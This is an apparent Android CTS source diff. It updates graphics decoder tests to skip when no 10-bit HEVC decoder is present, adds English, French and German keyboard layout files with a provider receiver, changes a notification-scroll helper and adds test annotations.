+++ b/tests/tests/content/CtsSyncAccountAccessOtherCertTests/src/com/android/cts/content/CtsSyncAccountAccessOtherCertTestCases.java
@@ -43,6 +43,9 @@ import android.content.res.Configuration;
import android.support.test.uiautomator.By;
import android.support.test.uiautomator.UiDevice;
import android.support.test.uiautomator.UiObject2;
+import android.support.test.uiautomator.UiObjectNotFoundException;
+import android.support.test.uiautomator.UiScrollable;
+import android.support.test.uiautomator.UiSelector;
import android.support.test.uiautomator.Until;
import android.util.Log;
@@ -140,7 +143,7 @@ public class CtsSyncAccountAccessOtherCertTestCases {
} catch (Throwable t) {
if (scrollUps < 10) {
// The notification we search for is below the fold, scroll to find it
- swipeUp(uiDevice);
+ scrollNotifications();
scrollUps++;
continue;
}
@@ -200,6 +203,18 @@ public class CtsSyncAccountAccessOtherCertTestCases {
50 /* numberOfSteps */);
}
+ private boolean scrollNotifications() {
+ UiScrollable scrollable = new UiScrollable(new UiSelector().scrollable(true));
+ if (!scrollable.exists()) {
+ return false;
+ }
+ try {
+ return scrollable.scrollForward(50);
+ } catch (UiObjectNotFoundException e) {
+ return false;
+ }
+ }
+
private boolean isRunningInVR() {
final Context context = InstrumentationRegistry.getTargetContext();
return ((context.getResources().getConfiguration().uiMode &
diff --git a/tests/tests/graphics/src/android/graphics/cts/BitmapFactoryTest.java b/tests/tests/graphics/src/android/graphics/cts/BitmapFactoryTest.java
index 9600df2d63e..ef44528cbff 100644
--- a/tests/tests/graphics/src/android/graphics/cts/BitmapFactoryTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/BitmapFactoryTest.java
@@ -35,10 +35,13 @@ import android.graphics.BitmapFactory;
import android.graphics.BitmapFactory.Options;
import android.graphics.Color;
import android.graphics.Rect;
+import android.media.MediaCodecInfo;
+import android.media.MediaCodecList;
import android.media.MediaFormat;
import android.os.Build;
import android.os.Parcel;
import android.os.ParcelFileDescriptor;
+import android.os.SystemProperties;
import android.platform.test.annotations.LargeTest;
import android.platform.test.annotations.RequiresDevice;
import android.system.ErrnoException;
@@ -1010,9 +1013,11 @@ public class BitmapFactoryTest {
public void testDecode10BitHEIFTo10BitBitmap() {
assumeTrue(
"Test needs Android T.", ApiLevelUtil.isFirstApiAtLeast(Build.VERSION_CODES.TIRAMISU));
- if (!MediaUtils.hasDecoder(MediaFormat.MIMETYPE_VIDEO_HEVC)) {
- return;
- }
+ assumeTrue(
+ "Test needs VNDK at least T.",
+ SystemProperties.getInt("ro.vndk.version", 0) >= Build.VERSION_CODES.TIRAMISU);
+ assumeTrue("No 10-bit HEVC decoder, skip the test.", has10BitHEVCDecoder());
+
BitmapFactory.Options opt = new BitmapFactory.Options();
opt.inPreferredConfig = Config.RGBA_1010102;
Bitmap bm = BitmapFactory.decodeStream(obtainInputStream(R.raw.heifimage_10bit), null, opt);
@@ -1027,9 +1032,11 @@ public class BitmapFactoryTest {
public void testDecode10BitHEIFTo8BitBitmap() {
assumeTrue(
"Test needs Android T.", ApiLevelUtil.isFirstApiAtLeast(Build.VERSION_CODES.TIRAMISU));
- if (!MediaUtils.hasDecoder(MediaFormat.MIMETYPE_VIDEO_HEVC)) {
- return;
- }
+ assumeTrue(
+ "Test needs VNDK at least T.",
+ SystemProperties.getInt("ro.vndk.version", 0) >= Build.VERSION_CODES.TIRAMISU);
+ assumeTrue("No 10-bit HEVC decoder, skip the test.", has10BitHEVCDecoder());
+
BitmapFactory.Options opt = new BitmapFactory.Options();
opt.inPreferredConfig = Config.ARGB_8888;
Bitmap bm1 =
@@ -1091,4 +1098,19 @@ public class BitmapFactoryTest {
private String obtainPath() throws IOException {
return Utils.obtainPath(R.drawable.start, 0);
}
+
+ private static boolean has10BitHEVCDecoder() {
+ MediaFormat format = new MediaFormat();
+ format.setString(MediaFormat.KEY_MIME, "video/hevc");
+ format.setInteger(
+ MediaFormat.KEY_PROFILE, MediaCodecInfo.CodecProfileLevel.HEVCProfileMain10);
+ format.setInteger(
+ MediaFormat.KEY_LEVEL, MediaCodecInfo.CodecProfileLevel.HEVCMainTierLevel5);
+
+ MediaCodecList mcl = new MediaCodecList(MediaCodecList.ALL_CODECS);
+ if (mcl.findDecoderForFormat(format) == null) {
+ return false;
+ }
+ return true;
+ }
}
diff --git a/tests/tests/graphics/src/android/graphics/cts/ImageDecoderTest.java b/tests/tests/graphics/src/android/graphics/cts/ImageDecoderTest.java
index 5b179d6bfc7..b6689d87f54 100644
--- a/tests/tests/graphics/src/android/graphics/cts/ImageDecoderTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/ImageDecoderTest.java
@@ -44,9 +44,12 @@ import android.graphics.Rect;
import android.graphics.drawable.BitmapDrawable;
import android.graphics.drawable.Drawable;
import android.graphics.drawable.NinePatchDrawable;
+import android.media.MediaCodecInfo;
+import android.media.MediaCodecList;
import android.media.MediaFormat;
import android.net.Uri;
import android.os.Build;
+import android.os.SystemProperties;
import android.util.DisplayMetrics;
import android.util.Size;
import android.util.TypedValue;
@@ -244,9 +247,11 @@ public class ImageDecoderTest {
public void testDecode10BitHeif() {
assumeTrue(
"Test needs Android T.", ApiLevelUtil.isFirstApiAtLeast(Build.VERSION_CODES.TIRAMISU));
- if (!MediaUtils.hasDecoder(MediaFormat.MIMETYPE_VIDEO_HEVC)) {
- return;
- }
+ assumeTrue(
+ "Test needs VNDK at least T.",
+ SystemProperties.getInt("ro.vndk.version", 0) >= Build.VERSION_CODES.TIRAMISU);
+ assumeTrue("No 10-bit HEVC decoder, skip the test.", has10BitHEVCDecoder());
+
try {
ImageDecoder.Source src = ImageDecoder
.createSource(getResources(), R.raw.heifimage_10bit);
@@ -266,9 +271,8 @@ public class ImageDecoderTest {
@Test
@RequiresDevice
public void testDecode10BitHeifWithLowRam() {
- if (!MediaUtils.hasDecoder(MediaFormat.MIMETYPE_VIDEO_HEVC)) {
- return;
- }
+ assumeTrue("No 10-bit HEVC decoder, skip the test.", has10BitHEVCDecoder());
+
ImageDecoder.Source src = ImageDecoder.createSource(getResources(), R.raw.heifimage_10bit);
assertNotNull(src);
try {
@@ -2770,4 +2774,19 @@ public class ImageDecoderTest {
ImageDecoder.Source src = ImageDecoder.createSource(() -> null);
ImageDecoder.decodeDrawable(src);
}
+
+ private static boolean has10BitHEVCDecoder() {
+ MediaFormat format = new MediaFormat();
+ format.setString(MediaFormat.KEY_MIME, "video/hevc");
+ format.setInteger(
+ MediaFormat.KEY_PROFILE, MediaCodecInfo.CodecProfileLevel.HEVCProfileMain10);
+ format.setInteger(
+ MediaFormat.KEY_LEVEL, MediaCodecInfo.CodecProfileLevel.HEVCMainTierLevel5);
+
+ MediaCodecList mcl = new MediaCodecList(MediaCodecList.ALL_CODECS);
+ if (mcl.findDecoderForFormat(format) == null) {
+ return false;
+ }
+ return true;
+ }
}
diff --git a/tests/tests/graphics/src/android/graphics/cts/SystemPaletteTest.java b/tests/tests/graphics/src/android/graphics/cts/SystemPaletteTest.java
index fb3d7ed5fa6..caccc0b70b2 100644
--- a/tests/tests/graphics/src/android/graphics/cts/SystemPaletteTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/SystemPaletteTest.java
@@ -34,6 +34,7 @@ import androidx.core.graphics.ColorUtils;
import androidx.test.filters.SmallTest;
import androidx.test.runner.AndroidJUnit4;
+import com.android.compatibility.common.util.CddTest;
import com.android.compatibility.common.util.PollingCheck;
import org.junit.Assert;
@@ -74,6 +75,7 @@ public class SystemPaletteTest {
}
@Test
+ @CddTest(requirements = {"3.8.6/C-1-4,C-1-5,C-1-6"})
public void testThemeStyles() {
final Context context = getInstrumentation().getTargetContext();
forEachThemeDefinition((color, style, expectedPalette) -> {
diff --git a/tests/tests/hardware/AndroidManifest.xml b/tests/tests/hardware/AndroidManifest.xml
index 6ac6d52dd8f..897e3df9d8e 100644
--- a/tests/tests/hardware/AndroidManifest.xml
+++ b/tests/tests/hardware/AndroidManifest.xml
@@ -103,6 +103,16 @@
android:label="FingerprintTestActivity">
</activity>
+ <receiver android:name="android.hardware.input.cts.tests.KeyboardLayoutChangeTest.CtsKeyboardLayoutProvider"
+ android:label="CTS keyboard layout provider"
+ android:exported="true">
+ <intent-filter>
+ <action android:name="android.hardware.input.action.QUERY_KEYBOARD_LAYOUTS" />
+ </intent-filter>
+ <meta-data android:name="android.hardware.input.metadata.KEYBOARD_LAYOUTS"
+ android:resource="@xml/keyboard_layouts" />
+ </receiver>
+
</application>
<instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
diff --git a/tests/tests/hardware/res/raw/keyboard_layout_english_us.kcm b/tests/tests/hardware/res/raw/keyboard_layout_english_us.kcm
new file mode 100644
index 00000000000..ca9040259d1
--- /dev/null
+++ b/tests/tests/hardware/res/raw/keyboard_layout_english_us.kcm
@@ -0,0 +1,311 @@
+# Copyright (C) 2022 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+#
+# English (US) keyboard layout.
+# Unlike the default (generic) keyboard layout, English (US) does not contain any
+# special ALT characters.
+#
+
+type OVERLAY
+
+### ROW 1
+
+key GRAVE {
+ label: '`'
+ base: '`'
+ shift: '~'
+}
+
+key 1 {
+ label: '1'
+ base: '1'
+ shift: '!'
+}
+
+key 2 {
+ label: '2'
+ base: '2'
+ shift: '@'
+}
+
+key 3 {
+ label: '3'
+ base: '3'
+ shift: '#'
+}
+
+key 4 {
+ label: '4'
+ base: '4'
+ shift: '$'
+}
+
+key 5 {
+ label: '5'
+ base: '5'
+ shift: '%'
+}
+
+key 6 {
+ label: '6'
+ base: '6'
+ shift: '^'
+}
+
+key 7 {
+ label: '7'
+ base: '7'
+ shift: '&'
+}
+
+key 8 {
+ label: '8'
+ base: '8'
+ shift: '*'
+}
+
+key 9 {
+ label: '9'
+ base: '9'
+ shift: '('
+}
+
+key 0 {
+ label: '0'
+ base: '0'
+ shift: ')'
+}
+
+key MINUS {
+ label: '-'
+ base: '-'
+ shift: '_'
+}
+
+key EQUALS {
+ label: '='
+ base: '='
+ shift: '+'
+}
+
+### ROW 2
+
+key Q {
+ label: 'Q'
+ base: 'q'
+ shift, capslock: 'Q'
+}
+
+key W {
+ label: 'W'
+ base: 'w'
+ shift, capslock: 'W'
+}
+
+key E {
+ label: 'E'
+ base: 'e'
+ shift, capslock: 'E'
+}
+
+key R {
+ label: 'R'
+ base: 'r'
+ shift, capslock: 'R'
+}
+
+key T {
+ label: 'T'
+ base: 't'
+ shift, capslock: 'T'
+}
+
+key Y {
+ label: 'Y'
+ base: 'y'
+ shift, capslock: 'Y'
+}
+
+key U {
+ label: 'U'
+ base: 'u'
+ shift, capslock: 'U'
+}
+
+key I {
+ label: 'I'
+ base: 'i'
+ shift, capslock: 'I'
+}
+
+key O {
+ label: 'O'
+ base: 'o'
+ shift, capslock: 'O'
+}
+
+key P {
+ label: 'P'
+ base: 'p'
+ shift, capslock: 'P'
+}
+
+key LEFT_BRACKET {
+ label: '['
+ base: '['
+ shift: '{'
+}
+
+key RIGHT_BRACKET {
+ label: ']'
+ base: ']'
+ shift: '}'
+}
+
+key BACKSLASH {
+ label: '\\'
+ base: '\\'
+ shift: '|'
+}
+
+### ROW 3
+
+key A {
+ label: 'A'
+ base: 'a'
+ shift, capslock: 'A'
+}
+
+key S {
+ label: 'S'
+ base: 's'
+ shift, capslock: 'S'
+}
+
+key D {
+ label: 'D'
+ base: 'd'
+ shift, capslock: 'D'
+}
+
+key F {
+ label: 'F'
+ base: 'f'
+ shift, capslock: 'F'
+}
+
+key G {
+ label: 'G'
+ base: 'g'
+ shift, capslock: 'G'
+}
+
+key H {
+ label: 'H'
+ base: 'h'
+ shift, capslock: 'H'
+}
+
+key J {
+ label: 'J'
+ base: 'j'
+ shift, capslock: 'J'
+}
+
+key K {
+ label: 'K'
+ base: 'k'
+ shift, capslock: 'K'
+}
+
+key L {
+ label: 'L'
+ base: 'l'
+ shift, capslock: 'L'
+}
+
+key SEMICOLON {
+ label: ';'
+ base: ';'
+ shift: ':'
+}
+
+key APOSTROPHE {
+ label: '\''
+ base: '\''
+ shift: '"'
+}
+
+### ROW 4
+
+key Z {
+ label: 'Z'
+ base: 'z'
+ shift, capslock: 'Z'
+}
+
+key X {
+ label: 'X'
+ base: 'x'
+ shift, capslock: 'X'
+}
+
+key C {
+ label: 'C'
+ base: 'c'
+ shift, capslock: 'C'
+}
+
+key V {
+ label: 'V'
+ base: 'v'
+ shift, capslock: 'V'
+}
+
+key B {
+ label: 'B'
+ base: 'b'
+ shift, capslock: 'B'
+}
+
+key N {
+ label: 'N'
+ base: 'n'
+ shift, capslock: 'N'
+}
+
+key M {
+ label: 'M'
+ base: 'm'
+ shift, capslock: 'M'
+}
+
+key COMMA {
+ label: ','
+ base: ','
+ shift: '<'
+}
+
+key PERIOD {
+ label: '.'
+ base: '.'
+ shift: '>'
+}
+
+key SLASH {
+ label: '/'
+ base: '/'
+ shift: '?'
+}
diff --git a/tests/tests/hardware/res/raw/keyboard_layout_french.kcm b/tests/tests/hardware/res/raw/keyboard_layout_french.kcm
new file mode 100644
index 00000000000..65bcd132928
--- /dev/null
+++ b/tests/tests/hardware/res/raw/keyboard_layout_french.kcm
@@ -0,0 +1,336 @@
+# Copyright (C) 2022 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+#
+# French keyboard layout, AZERTY style.
+#
+
+type OVERLAY
+
+map key 16 A
+map key 17 Z
+map key 30 Q
+map key 39 M
+map key 44 W
+map key 50 COMMA
+map key 51 SEMICOLON
+map key 86 PLUS
+
+### ROW 1
+
+key GRAVE {
+ label: '\u00b2'
+ base: '\u00b2'
+}
+
+key 1 {
+ label: '1'
+ base: '&'
+ shift: '1'
+}
+
+key 2 {
+ label: '2'
+ base: '\u00e9'
+ shift: '2'
+ ralt: '~'
+}
+
+key 3 {
+ label: '3'
+ base: '"'
+ shift: '3'
+ ralt: '#'
+}
+
+key 4 {
+ label: '4'
+ base: '\''
+ shift: '4'
+ ralt: '{'
+}
+
+key 5 {
+ label: '5'
+ base: '('
+ shift: '5'
+ ralt: '['
+}
+
+key 6 {
+ label: '6'
+ base: '-'
+ shift: '6'
+ ralt: '|'
+}
+
+key 7 {
+ label: '7'
+ base: '\u00e8'
+ shift: '7'
+ ralt: '`'
+}
+
+key 8 {
+ label: '8'
+ base: '_'
+ shift: '8'
+ ralt: '\\'
+}
+
+key 9 {
+ label: '9'
+ base: '\u00e7'
+ shift: '9'
+ ralt: '^'
+}
+
+key 0 {
+ label: '0'
+ base: '\u00e0'
+ shift: '0'
+ ralt: '@'
+}
+
+key MINUS {
+ label: ')'
+ base: ')'
+ shift: '\u00b0'
+ ralt: ']'
+}
+
+key EQUALS {
+ label: '='
+ base: '='
+ shift: '+'
+ ralt: '}'
+}
+
+### ROW 2
+
+key A {
+ label: 'A'
+ base: 'a'
+ shift, capslock: 'A'
+}
+
+key Z {
+ label: 'Z'
+ base: 'z'
+ shift, capslock: 'Z'
+}
+
+key E {
+ label: 'E'
+ base: 'e'
+ shift, capslock: 'E'
+ ralt: '\u20ac'
+}
+
+key R {
+ label: 'R'
+ base: 'r'
+ shift, capslock: 'R'
+}
+
+key T {
+ label: 'T'
+ base: 't'
+ shift, capslock: 'T'
+}
+
+key Y {
+ label: 'Y'
+ base: 'y'
+ shift, capslock: 'Y'
+}
+
+key U {
+ label: 'U'
+ base: 'u'
+ shift, capslock: 'U'
+}
+
+key I {
+ label: 'I'
+ base: 'i'
+ shift, capslock: 'I'
+}
+
+key O {
+ label: 'O'
+ base: 'o'
+ shift, capslock: 'O'
+}
+
+key P {
+ label: 'P'
+ base: 'p'
+ shift, capslock: 'P'
+}
+
+key LEFT_BRACKET {
+ label: '\u02c6'
+ base: '\u0302'
+ shift: '\u0308'
+}
+
+key RIGHT_BRACKET {
+ label: '$'
+ base: '$'
+ shift: '\u00a3'
+ ralt: '\u00a4'
+}
+
+### ROW 3
+
+key Q {
+ label: 'Q'
+ base: 'q'
+ shift, capslock: 'Q'
+}
+
+key S {
+ label: 'S'
+ base: 's'
+ shift, capslock: 'S'
+}
+
+key D {
+ label: 'D'
+ base: 'd'
+ shift, capslock: 'D'
+}
+
+key F {
+ label: 'F'
+ base: 'f'
+ shift, capslock: 'F'
+}
+
+key G {
+ label: 'G'
+ base: 'g'
+ shift, capslock: 'G'
+}
+
+key H {
+ label: 'H'
+ base: 'h'
+ shift, capslock: 'H'
+}
+
+key J {
+ label: 'J'
+ base: 'j'
+ shift, capslock: 'J'
+}
+
+key K {
+ label: 'K'
+ base: 'k'
+ shift, capslock: 'K'
+}
+
+key L {
+ label: 'L'
+ base: 'l'
+ shift, capslock: 'L'
+}
+
+key M {
+ label: 'M'
+ base: 'm'
+ shift, capslock: 'M'
+}
+
+key APOSTROPHE {
+ label: '\u00f9'
+ base: '\u00f9'
+ shift: '%'
+}
+
+key BACKSLASH {
+ label: '*'
+ base: '*'
+ shift: '\u00b5'
+}
+
+### ROW 4
+
+key PLUS {
+ label: '<'
+ base: '<'
+ shift: '>'
+}
+
+key W {
+ label: 'W'
+ base: 'w'
+ shift, capslock: 'W'
+}
+
+key X {
+ label: 'X'
+ base: 'x'
+ shift, capslock: 'X'
+}
+
+key C {
+ label: 'C'
+ base: 'c'
+ shift, capslock: 'C'
+}
+
+key V {
+ label: 'V'
+ base: 'v'
+ shift, capslock: 'V'
+}
+
+key B {
+ label: 'B'
+ base: 'b'
+ shift, capslock: 'B'
+}
+
+key N {
+ label: 'N'
+ base: 'n'
+ shift, capslock: 'N'
+}
+
+key COMMA {
+ label: ','
+ base: ','
+ shift: '?'
+}
+
+key SEMICOLON {
+ label: ';'
+ base: ';'
+ shift: '.'
+}
+
+key PERIOD {
+ label: ':'
+ base: ':'
+ shift: '/'
+}
+
+key SLASH {
+ label: '!'
+ base: '!'
+ shift: '\u00a7'
+}
diff --git a/tests/tests/hardware/res/raw/keyboard_layout_german.kcm b/tests/tests/hardware/res/raw/keyboard_layout_german.kcm
new file mode 100644
index 00000000000..864af121245
--- /dev/null
+++ b/tests/tests/hardware/res/raw/keyboard_layout_german.kcm
@@ -0,0 +1,333 @@
+# Copyright (C) 2022 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+#
+# German keyboard layout, QWERTZ style.
+#
+
+type OVERLAY
+
+map key 12 SLASH # � ? \
+map key 21 Z
+map key 44 Y
+map key 53 MINUS # - _
+map key 86 PLUS # < > |
+
+### ROW 1
+
+key GRAVE {
+ label: '^'
+ base: '^'
+ shift: '\u00b0'
+}
+
+key 1 {
+ label: '1'
+ base: '1'
+ shift: '!'
+}
+
+key 2 {
+ label: '2'
+ base: '2'
+ shift: '"'
+ ralt: '\u00b2'
+}
+
+key 3 {
+ label: '3'
+ base: '3'
+ shift: '\u00a7'
+ ralt: '\u00b3'
+}
+
+key 4 {
+ label: '4'
+ base: '4'
+ shift: '$'
+}
+
+key 5 {
+ label: '5'
+ base: '5'
+ shift: '%'
+}
+
+key 6 {
+ label: '6'
+ base: '6'
+ shift: '&'
+}
+
+key 7 {
+ label: '7'
+ base: '7'
+ shift: '/'
+ ralt: '{'
+}
+
+key 8 {
+ label: '8'
+ base: '8'
+ shift: '('
+ ralt: '['
+}
+
+key 9 {
+ label: '9'
+ base: '9'
+ shift: ')'
+ ralt: ']'
+}
+
+key 0 {
+ label: '0'
+ base: '0'
+ shift: '='
+ ralt: '}'
+}
+
+key SLASH {
+ label: '\u00df'
+ base: '\u00df'
+ shift: '?'
+ ralt: '\\'
+}
+
+key EQUALS {
+ label: '\u00b4'
+ base: '\u0301'
+ shift: '\u0300'
+}
+
+### ROW 2
+
+key Q {
+ label: 'Q'
+ base: 'q'
+ shift, capslock: 'Q'
+ ralt: '@'
+}
+
+key W {
+ label: 'W'
+ base: 'w'
+ shift, capslock: 'W'
+}
+
+key E {
+ label: 'E'
+ base: 'e'
+ shift, capslock: 'E'
+ ralt: '\u20ac'
+}
+
+key R {
+ label: 'R'
+ base: 'r'
+ shift, capslock: 'R'
+}
+
+key T {
+ label: 'T'
+ base: 't'
+ shift, capslock: 'T'
+}
+
+key Z {
+ label: 'Z'
+ base: 'z'
+ shift, capslock: 'Z'
+}
+
+key U {
+ label: 'U'
+ base: 'u'
+ shift, capslock: 'U'
+}
+
+key I {
+ label: 'I'
+ base: 'i'
+ shift, capslock: 'I'
+}
+
+key O {
+ label: 'O'
+ base: 'o'
+ shift, capslock: 'O'
+}
+
+key P {
+ label: 'P'
+ base: 'p'
+ shift, capslock: 'P'
+}
+
+key LEFT_BRACKET {
+ label: '\u00dc'
+ base: '\u00fc'
+ shift, capslock: '\u00dc'
+}
+
+key RIGHT_BRACKET {
+ label: '+'
+ base: '+'
+ shift: '*'
+ ralt: '~'
+}
+
+### ROW 3
+
+key A {
+ label: 'A'
+ base: 'a'
+ shift, capslock: 'A'
+}
+
+key S {
+ label: 'S'
+ base: 's'
+ shift, capslock: 'S'
+}
+
+key D {
+ label: 'D'
+ base: 'd'
+ shift, capslock: 'D'
+}
+
+key F {
+ label: 'F'
+ base: 'f'
+ shift, capslock: 'F'
+}
+
+key G {
+ label: 'G'
+ base: 'g'
+ shift, capslock: 'G'
+}
+
+key H {
+ label: 'H'
+ base: 'h'
+ shift, capslock: 'H'
+}
+
+key J {
+ label: 'J'
+ base: 'j'
+ shift, capslock: 'J'
+}
+
+key K {
+ label: 'K'
+ base: 'k'
+ shift, capslock: 'K'
+}
+
+key L {
+ label: 'L'
+ base: 'l'
+ shift, capslock: 'L'
+}
+
+key SEMICOLON {
+ label: '\u00d6'
+ base: '\u00f6'
+ shift, capslock: '\u00d6'
+}
+
+key APOSTROPHE {
+ label: '\u00c4'
+ base: '\u00e4'
+ shift, capslock: '\u00c4'
+}
+
+key BACKSLASH {
+ label: '#'
+ base: '#'
+ shift: '\''
+}
+
+### ROW 4
+
+key PLUS {
+ label: '<'
+ base: '<'
+ shift: '>'
+ ralt: '|'
+}
+
+key Y {
+ label: 'Y'
+ base: 'y'
+ shift, capslock: 'Y'
+}
+
+key X {
+ label: 'X'
+ base: 'x'
+ shift, capslock: 'X'
+}
+
+key C {
+ label: 'C'
+ base: 'c'
+ shift, capslock: 'C'
+}
+
+key V {
+ label: 'V'
+ base: 'v'
+ shift, capslock: 'V'
+}
+
+key B {
+ label: 'B'
+ base: 'b'
+ shift, capslock: 'B'
+}
+
+key N {
+ label: 'N'
+ base: 'n'
+ shift, capslock: 'N'
+}
+
+key M {
+ label: 'M'
+ base: 'm'
+ shift, capslock: 'M'
+ ralt: '\u00b5'
+}
+
+key COMMA {
+ label: ','
+ base: ','
+ shift: ';'
+}
+
+key PERIOD {
+ label: '.'
+ base: '.'
+ shift: ':'
+}
+
+key MINUS {
+ label: '-'
+ base: '-'
+ shift: '_'
+}
diff --git a/tests/tests/hardware/res/xml/keyboard_layouts.xml b/tests/tests/hardware/res/xml/keyboard_layouts.xml
new file mode 100644
index 00000000000..4516a368bac
--- /dev/null
+++ b/tests/tests/hardware/res/xml/keyboard_layouts.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2022 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+
+<keyboard-layouts xmlns:android="http://schemas.android.com/apk/res/android">
+
+ <keyboard-layout android:name="keyboard_layout_english_us"
+ android:label="English (US)"
+ android:keyboardLayout="@raw/keyboard_layout_english_us" />
+
+ <keyboard-layout android:name="keyboard_layout_german"
+ android:label="German"
+ android:keyboardLayout="@raw/keyboard_layout_german" />
+
+ <keyboard-layout android:name="keyboard_layout_french"
+ android:label="French"
+ android:keyboardLayout="@raw/keyboard_layout_french" />
+</keyboard-layouts>
diff --git a/tests/tests/hardware/src/android/hardware/cts/DataSpaceTest.java b/tests/tests/hardware/src/android/hardware/cts/DataSpaceTest.java
index ebbfd30bf8f..ceb98350c06 100644
--- a/tests/tests/hardware/src/android/hardware/cts/DataSpaceTest.java
+++ b/tests/tests/hardware/src/android/hardware/cts/DataSpaceTest.java
@@ -37,11 +37,14 @@ import androidx.test.annotation.UiThreadTest;
import androidx.test.ext.junit.runners.AndroidJUnit4;
import androidx.test.filters.SmallTest;
+import com.android.compatibility.common.util.ApiTest;
+
import org.junit.After;
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
+@ApiTest(apis = {"android.hardware.DataSpace#NamedDataSpace"})
@RunWith(AndroidJUnit4.class)
@SmallTest
public class DataSpaceTest {
@@ -196,9 +199,10 @@ public class DataSpaceTest {
}
}
+ @ApiTest(apis = {"android.hardware.DataSpace#DATASPACE_JFIF"})
@UiThreadTest
@Test
- public void getDataSpaceWithFormatYUV420_888() {
+ public void getDataSpaceWithFormatYV12() {
mTex = new int[1];
glGenTextures(1, mTex, 0);
@@ -208,7 +212,7 @@ public class DataSpaceTest {
mSurface = new Surface(mSurfaceTexture);
mWriter = new ImageWriter.Builder(mSurface)
- .setImageFormat(ImageFormat.YUV_420_888)
+ .setImageFormat(ImageFormat.YV12)
.build();
Image inputImage = null;
@@ -218,7 +222,7 @@ public class DataSpaceTest {
mSurfaceTexture.updateTexImage();
- // test default dataspace value of ImageFormat.YUV_420_888 format.
+ // test default dataspace value of ImageFormat.YV12 format.
assertEquals(DataSpace.DATASPACE_JFIF, mSurfaceTexture.getDataSpace());
} finally {
if (inputImage != null) {
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/tests/KeyboardLayoutChangeTest.java b/tests/tests/hardware/src/android/hardware/input/cts/tests/KeyboardLayoutChangeTest.java
index 7dae1d1e2ca..a12730ce7cf 100644
--- a/tests/tests/hardware/src/android/hardware/input/cts/tests/KeyboardLayoutChangeTest.java
+++ b/tests/tests/hardware/src/android/hardware/input/cts/tests/KeyboardLayoutChangeTest.java
@@ -26,6 +26,9 @@ import static org.mockito.Mockito.inOrder;
import static org.mockito.Mockito.timeout;
import android.Manifest;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
import android.hardware.cts.R;
import android.hardware.input.InputManager;
import android.os.Handler;
@@ -36,6 +39,7 @@ import android.view.KeyEvent;
import androidx.test.ext.junit.runners.AndroidJUnit4;
import androidx.test.filters.SmallTest;
+import com.android.compatibility.common.util.ApiTest;
import com.android.compatibility.common.util.SystemUtil;
import org.junit.Test;
@@ -44,6 +48,7 @@ import org.mockito.InOrder;
import org.mockito.Mock;
import org.mockito.MockitoAnnotations;
+@ApiTest(apis = {"android.view.InputDevice#getKeyCodeForKeyLocation"})
@SmallTest
@RunWith(AndroidJUnit4.class)
public class KeyboardLayoutChangeTest extends InputHidTestCase {
@@ -201,4 +206,11 @@ public class KeyboardLayoutChangeTest extends InputHidTestCase {
timeout(KEYBOARD_LAYOUT_CHANGE_TIMEOUT)).onInputDeviceChanged(
eq(device.getId()));
}
+
+ public static class CtsKeyboardLayoutProvider extends BroadcastReceiver {
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ // Nothing to do at this time.
+ }
+ }
}
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/tests/VirtualDeviceTestCase.java b/tests/tests/hardware/src/android/hardware/input/cts/tests/VirtualDeviceTestCase.java
index 8ad13dfdcb6..aff4b337b21 100644
--- a/tests/tests/hardware/src/android/hardware/input/cts/tests/VirtualDeviceTestCase.java
+++ b/tests/tests/hardware/src/android/hardware/input/cts/tests/VirtualDeviceTestCase.java
@@ -95,6 +95,9 @@ public abstract class VirtualDeviceTestCase extends InputTestCase {
final PackageManager packageManager = context.getPackageManager();
// TVs do not support companion
assumeTrue(packageManager.hasSystemFeature(PackageManager.FEATURE_COMPANION_DEVICE_SETUP));
+ // Virtual input devices only operate on virtual displays
+ assumeTrue(packageManager.hasSystemFeature(
+ PackageManager.FEATURE_ACTIVITIES_ON_SECONDARY_DISPLAYS));
final String packageName = context.getPackageName();
associateCompanionDevice(packageName);
diff --git a/tests/tests/keystore/src/android/keystore/cts/AndroidKeyStoreTest.java b/tests/tests/keystore/src/android/keystore/cts/AndroidKeyStoreTest.java
index 79435389feb..56dd1b0f561 100644
--- a/tests/tests/keystore/src/android/keystore/cts/AndroidKeyStoreTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/AndroidKeyStoreTest.java
